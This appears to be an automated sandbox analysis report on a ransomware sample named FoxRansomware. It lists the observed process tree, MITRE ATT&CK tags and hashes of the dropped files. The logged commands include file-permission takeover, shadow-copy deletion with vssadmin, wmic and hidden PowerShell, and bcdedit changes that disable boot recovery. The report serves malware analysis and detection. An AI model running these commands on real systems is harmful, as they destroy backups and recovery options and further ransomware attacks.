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C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\mRDZlhzx.bat" "C:\Users\All Users\USOPrivate\UpdateStore\store.db""2⤵
- Suspicious use of WriteProcessMemory
PID:5768 -
C:\Windows\SysWOW64\attrib.exeattrib -R -A -S "C:\Users\All Users\USOPrivate\UpdateStore\store.db"3⤵
- Views/modifies file attributes
PID:1784
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C:\Windows\SysWOW64\cacls.execacls "C:\Users\All Users\USOPrivate\UpdateStore\store.db" /E /G Admin:F /C3⤵PID:4020
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C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\All Users\USOPrivate\UpdateStore\store.db"3⤵
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
PID:6824
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C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c j3MxuEwf.exe -accepteula "store.db" -nobanner3⤵
- Suspicious use of WriteProcessMemory
PID:5384 -
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\j3MxuEwf.exej3MxuEwf.exe -accepteula "store.db" -nobanner4⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:5780 -
C:\Users\Admin\AppData\Local\Temp\j3MxuEwf64.exej3MxuEwf.exe -accepteula "store.db" -nobanner5⤵
- Drops file in Drivers directory
- Sets service image path in registry
- Executes dropped EXE
- Enumerates connected drives
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: LoadsDriver
- Suspicious use of AdjustPrivilegeToken
PID:6252
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C:\Windows\SYSTEM32\cmd.exeC:\Windows\SYSTEM32\cmd.exe /c "C:\Users\Admin\AppData\Roaming\up21cGFf.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:6208 -
C:\Windows\system32\vssadmin.exevssadmin Delete Shadows /All /Quiet2⤵
- Interacts with shadow copies
PID:3956
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C:\Windows\System32\Wbem\WMIC.exewmic SHADOWCOPY DELETE2⤵
- Suspicious use of AdjustPrivilegeToken
PID:5360
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Exec Unrestricted try {start-process -FilePath "vssadmin" -ArgumentList "delete","shadows","/all","/quiet" -WindowStyle Hidden} catch {}2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:6884 -
C:\Windows\system32\vssadmin.exe"C:\Windows\system32\vssadmin.exe" delete shadows /all /quiet3⤵
- Interacts with shadow copies
PID:6464
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C:\Windows\system32\bcdedit.exebcdedit /set {default} bootstatuspolicy ignoreallfailures2⤵
- Modifies boot configuration data using bcdedit
PID:6508
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C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No2⤵
- Modifies boot configuration data using bcdedit
PID:5468
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN DSHCA /F2⤵PID:4688
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
PID:6544
Network
MITRE ATT&CK Enterprise v15
Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Scheduled Task/Job
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Scheduled Task/Job
1Defense Evasion
File and Directory Permissions Modification
1Hide Artifacts
1Hidden Files and Directories
1Indicator Removal
2File Deletion
2Modify Registry
2Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\Annotations\Stamps\ENU\#CORE_README#.rtf
- Size 8KB
- SHA256 8b20cb111ea2734c372d6b6e08006b34a2b3757a698201aba06b882a4d3e1bb2
- MD5 914fcec25f99807c89a5b611d6c3a7cf
- SHA1 4d684135020b7a70530b618d81258da246913149
- SHA512 3085ec2969f8f9520df9cb6461252e4bd226c6357b5899ff070ab63528e7a2f76c280b19bcef87c3df5d7b929d78c0fd26ba7adab70fba13e6be6f2c2dc639d4
- SSDEEP 192:TUVDkh6ojUjcNYPcaOFnv0SkDSliQZYzXh4y:OORSWlLumy
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 16KB
- SHA256 5ba061eac1cefcf0c52982f58e3f71a7ec6c437676736351b41e6f1065a8f6af
- MD5 1052ddf06b008f80d450046b086a8807
- SHA1 0229454304e7ba2431f735eb1f8ff81b71cf56b7
- SHA512 9f930e1e6560a5d6f4621cf3dd5d6b7e4315c4a45e67175fde78761573456aaf376d91ea3557eb5a9c843f45b84ce2d79946e6623c9ccbd21cf08d7d31d9b244
- SSDEEP 384:Srf+j/9i+wcPmave46B5pJk+o9o2TVK6seYkUhk/YW3SofV3lAxPEkyKC0:Af3gvv6fYjo2TVNM6TSAAZEkB
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Temp\FoxRansomware\JBQVODeU.txt
- Size 14B
- SHA256 82ad297f8577dd8f868d0068e253c3d6b61a1e332d7038ed18d23da65b03ad6c
- MD5 c74dacdd9331a6698efffe81ff66ac08
- SHA1 79e8ce4bb5cc2436e95fad4a74a31aee7aa63043
- SHA512 24620715fb4e07f73db38962b2f95b77396d09a65f153c138f4d873e7f83f9cc72a16423ce2af745f8a04d1e657dfa7d9136ec3fd9ff5794b385ec33edae89da
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NWHeArfD.exe
- Size 1.2MB
- SHA256 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b
- MD5 907636b28d162f7110b067a8178fa38c
- SHA1 048ae4691fe267e7c8d9eda5361663593747142a
- SHA512 501a7ee7fc8c0869d3cb57be3a75be02f6a17583e524fae9fa29e149a7391a5ed79c45143c09c667eed7d2fe217503121e23edd6f1bac47c8ba7ec7a4ecbe04a
- SSDEEP 24576:R/SA+2lraRrjSJR5ezmT1dM9tZBb5t+wb8fq/81mkvfW:3XlayIsy81hvf
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Temp\FoxRansomware\elog_0D5953D6225CDE85.txt
- Size 10KB
- SHA256 acae4a3af173f36cdf1051fa53b7d6946f6649c662706af8075fabede01d8e00
- MD5 401159f2d991d977447e68bb94392012
- SHA1 965f0f99942defe070a891f28c14770456c0daa6
- SHA512 37f2aa6b66862d889a61a56d6ccb672bb55e825b2104d6b996bdc6afa01fc3061ff05ee4d13484b8b6d222d497a8c436d6fb77432409c56eb4dc32a3411788c3
- SSDEEP 192:hpZWzp83gMwVe9ziEmOwtv9za+dMacu2wYwSEsPx/jxTmLwMHdAaIwZwvHPJ9z8A:hpZWzp83rwVe9+EmOwtv9e+dMa32wYwe
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Temp\FoxRansomware\j3MxuEwf.exe
- Size 181KB
- SHA256 0cfdbfb9c4a2a80794462f06cf0da43c5977aa61bd3bbe834002703fe44ef0b4
- MD5 2f5b509929165fc13ceab9393c3b911d
- SHA1 b016316132a6a277c5d8a4d7f3d6e2c769984052
- SHA512 c63eaac9f46f90a991cb27f3039d9d9d3c2bb3e14d199a2c292e4e87a02c3642fdaa918a2d1447f80d6146a95018eb12bb8a6feb9c082b2b2583634330235bc8
- SSDEEP 3072:hnQr0ryqPlGGyPAPNIfG+QWx5sOjw9i8yxulNpsl/DXHcd6Gu9XQBYWW7tpT6azN:hnf71rClQWjNw9i+psR3g6G4SLILT6aR
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Temp\FoxRansomware\mRDZlhzx.bat
- Size 246B
- SHA256 980acf75f30a2ce3a89ddfa6477c4d170f2367ebe05a16e96b3150f0f80c4bc5
- MD5 def955437bb2dc6df2b4346a00870ab1
- SHA1 910db255a9176565c0e05e7522978e9afe08eb09
- SHA512 decbe95082c0b112194abaa8765fe28639ab5ea01983beee665c0dcbc686949c2266b6b315ed35afd56a84fb006c6d41487196ce673a33582d87bd9b0338fd06
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_dt2pnijs.5wc.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Temp\j3MxuEwf64.exe
- Size 221KB
- SHA256 7adb21c00d3cc9a1ef081484b58b68f218d7c84a720e16e113943b9f4694d8ec
- MD5 3026bc2448763d5a9862d864b97288ff
- SHA1 7d93a18713ece2e7b93e453739ffd7ad0c646e9e
- SHA512 d4afd534ed1818f8dc157d754b078e3d2fe4fb6a24ed62d4b30b3a93ebc671d1707cedb3c23473bf3b5aa568901a1e5183da49e41152e352ecfa41bf220ebde6
- SSDEEP 6144:8MmTGW8nEorxuTspf4xCzkNd96JHk1KSx:ZqGr11ZaNKSx
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Roaming\WS8smXz0.vbs
- Size 260B
- SHA256 108a3a749667a0fb80834085d9e8ef6cb631895b0635ab418879a792b88c7cb0
- MD5 2b026ff5efe4898e1519582871bd46ea
- SHA1 35b797ba64720a2cd12ed9928c9f443984aa537f
- SHA512 2a2c87b6260b6591ad1be8a8d3ed9ec49f402ab4211b20e67440a89b315c315e5c9f9823af93028fa2c6553c95e5b41cb7285ba670a9a46f41bf0270efb64fb5
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Roaming\up21cGFf.bat
- Size 415B
- SHA256 80444e0f1551b7098a277546dd473574613ef0bd5490fd825be861c322c61b10
- MD5 f3eb1bece5c8267cee9dd890dc426f6c
- SHA1 1b2f74c253047757568ed839dc788cd3d7041611
- SHA512 a37969585b44bf95e313bc685fe9e0bf884a34900d1a7d85adceaae639de5536b416f2e92d7b3659328a5a91f3fca41fc57214ec1829b73ea324797bae53f22d
- MD5 SHA1 SHA512